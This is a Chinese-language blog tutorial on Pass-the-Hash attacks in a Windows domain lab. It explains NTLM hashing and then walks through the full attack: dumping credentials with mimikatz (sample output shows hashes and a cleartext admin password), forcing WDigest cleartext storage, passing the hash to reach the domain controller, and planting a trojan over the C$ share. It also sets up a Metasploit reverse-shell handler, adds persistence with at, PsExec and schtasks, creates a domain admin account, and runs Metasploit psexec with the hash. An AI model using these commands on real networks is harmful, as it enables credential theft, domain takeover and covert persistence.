域渗透——哈希传递攻击PTH
本文最后更新于 2024-08-22,文章内容可能已经过时。
哈希传递攻击PTH(Pass The Hash)
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
NTLM定义
NTLM是window的一种网络身份认证协议,相同的还有Kerberos认证协议。
1、NTLM是NT LAN Manager的缩写,即问询/应答(Challenge/Response)身份验证协议,是 Windows NT早期版本的标准安全协议。Windows 2000 支持 NTLM 是为了保持向后兼容。Windows 2000内置三种基本安全协议之一。
2、⽤于验证远程机器⽤户的⽹络协议,它也被称为Net-NTLM
在域环境中,由于域控制器的存在(所有域用户的哈希值都存储在域控上的
NTDS.dit
中),服务器没办法直接进行“工作组验证流程”中的步骤④,只能作为“中间安全人”连通客户端和域控,并将验证过程交给域控。
一 、NTLM认证流程
利用登录认证流程们可以渗透到域控,前提条件是拿到域控管理员的密码的hash
二、PTH简介
1、攻击原理
在使用 NTLM 身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。 Windows 上的应用程序要求用户提供明文密码,然后调用 LsaLogonUser 类的 API,将该密码转换为一个或两个哈希值(LM或NTLM hash),然后将其发送到远程服务器进行 NTLM 身份验证。由于这种机制,我们只需要哈希值即可成功完成网络身份验证,而不需要明文密码。于是当我们获取到任意用户的 Hash 值就可以针对远程系统进行身份验证并模拟该用户,从而获取用户权限。
2、使用原因
- 在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,只保存用户的 Hash。所以无法抓取到 lsass.exe 进程中的明文密码。
- 随着信息安全意识的提高,大家都使用强密码,很多时候即使能拿到 hash 却无法解开。
3、LM Hash 与 NTLM Hash
(1)LM Hash
LM Hash(LAN Manager Hash):微软为了提高Windows操作系统的安全性而采用的散列加密算法。
存在的问题——易被破解:LM Hash明文密码被限制在14位以内,其本质上采用的是 DES 加密算法,所以 LM Hash 存在较容易被破解的问题。于是从 Windows Vista 和Windows Server 2008开始的 Windows 系统默认禁用了 LM Hash 。这里只是禁用,主要是为了保证系统的兼容性。如果LM Hash被禁用了,攻击者使用工具抓取的 LM Hash 通常为
aad3b435b51404eeaad3b435b51404ee
。
(2)NTLM Hash
NTLM Hash(NT LAN Manager):为了在提高安全性的同时保证兼容性,微软提出了 Windows NT 挑战/响应验证机制,称之为 NTLM 。个人版 Windows 从Windwos Vista 以后,服务器版本系统从 Windows server2003 以后,其认证方式均为 NTLM Hash。
简单来说,Net-ntlm hash就是ntlm hash再做了一层hash加密。
NTLM Hash的生成
- 假设用户明文密码:
y5neko123
- 十六进制转换为:
79356e656b6f313233
- 转换为Unicode码,相当于在每个字节后添加一个0x00:
790035006e0065006b006f00310032003300
- 以十六进制进行MD4加密:
2aec2647511a853cbec96388c4ae8770
三、PTH 攻击
实验环境:
域控DC:Windows Server 2008 (计算机名:web.xiaoe.com)
IP:192.168.91.153(域管理员用户[域]:administrator)
域内计算机:Windows 7 (计算机名:win7)
IP:192..168.91.133(本地管理员[工作组]:dong)
域:xiaoe.com
(前提是 域管理员 在 域内计算机:Windows 7 上登录)
操作步骤:
前提:
入侵到域内计算机 (Windows 7)
提权到系统权限
获取到域管理员的 NTLM Hash
- load kiwi
- creds_all 或者 kiwi_cmd sekurlsa::logonpasswords
具体请看我的另外一篇文章:
域渗透——信息收集中的主机发现那一章
https://windeskyblog.love/archives/686e8b82-3ac6-457a-997c-4c15ec985097
``cmd
添加注册表:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
强制锁屏:rundll32 user32.dll,LockWorkStation
查看明文密码: mimikatz.exe log privilege::Debug sekurlsa::logonpasswords exit # 直接运行Mimikatz命令,不进入交互模式
4.上传mimikatz到域内计算机:Windows 7
5.在win7中使用 管理员账户运行 mimikatz
在具有管理员权限的 cmd 中运行 mimikatz.exe,获取debug权限,而后查询当前机器中所有可用凭证。
privilege::debug
log # 在当前目录下写日志,输出结果均在日志中
privilege::debug # 提升至调试(debug)权限(需要本地管理员权限)
sekurlsa::logonpasswords # 查看所有可用的凭证(登录到本机的所有用户)
msv :
[00000003] Primary
* Username : Administrator
* Domain : XIAOE
* LM : 32801fe143b57a06b75e0c8d76954a50
* NTLM : 2cbe963d0d877c8cc7d09c936f1c3b33
* SHA1 : ff7a40c2f412e393dff20b0385232b1190bce768
tspkg :
* Username : Administrator
* Domain : XIAOE
* Password : !@#Qwe123
wdigest :
* Username : Administrator
* Domain : XIAOE
* Password : !@#Qwe123
kerberos :
* Username : Administrator
* Domain : XIAOE.COM
* Password : !@#Qwe123
ssp :
credman :
获取的NTLM为:2cbe963d0d877c8cc7d09c936f1c3b33
当前是无法访问 域控服务器2008的共享目录的
需要域管理员密码进行登录。
6.利用 mimikatz 进行 PTH 攻击
# sekurlsa::pth /user:用户名 /domain:域名或者域控IP /ntlm:用户的NTLM Hash
sekurlsa::pth /user:administrator /domain:192.168.91.153 /ntlm:2cbe963d0d877c8cc7d09c936f1c3b33
7.拷贝木马到域控服务器
在弹出的cmd中将木马上传到域控主机
copy c:\xiaoe.exe \\web\c$
8.在kali中监听木马
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set lport 5555
run
9.在域控服务器中 启动运行木马
# 查看域控服务器时间
net time /domain
# 定时启动 木马 window2012 之后 取消了 at
at \\web 15:35 cmd.exe /c "C:\xiaoe.exe"
# 执行木马程序也可以使用下面的方案
# 下载 PsExec 工具
PsExec.exe /accepteula /s \\web cmd /c "C:\xiaoe.exe"
# 为了更好的保持权限维持,也可以使用Windows的定时任务命令schtasks.exe创建定时运行的任务,如每天凌晨2点30分运行
SCHTASKS /Create /TN HTTPBeacon /TR C:\woniu.exe /SC DAILY /ST 02:30
10.getshell成功
还可以直接使用psexec工具在域控上获取一个反弹Shell,用于执行命令
PsExec.exe \\域控服务器的名字(web) cmd.exe net user username password /add net group "domain admins" username /add
在MSF和CS中操作和利用
4.1 、MSF
-
拿下域内计算机:Windows 7
木马上线
-
使用Kiwi模块
meterpreter > hashdump meterpreter > load kiwi meterpreter > creds_all meterpreter > getsystem 提权到SYSTEM权限(前提默认是本地管理员登录) meterpreter > kiwi_cmd sekurlsa::logonpasswords
-
使用psexec模块
use exploit/windows/smb/psexec show options set payload windows/x64/meterpreter/reverse_tcp set RHOST 192.168.91.153 # 域控的IP set SMBUser administrator set SMBDomain XIAOE # 设置SMBPass是LM加NTLM的形式,中间用:分隔 set SMBPass 32801fe143b57a06b75e0c8d76954a50:2cbe963d0d877c8cc7d09c936f1c3b33 show options
移动到其他机器
set rhosts 192.168.92.142
4.2 、CS
前提:kali开启服务端cs,开启cs客户端,生成木马,上线CS ,入侵域内计算机:Windows 7
-
提权
使用插件
-
查看本机信息
-
获取域信息
-
内网扫描
-
拿下域控
- 感谢你赐予我前进的力量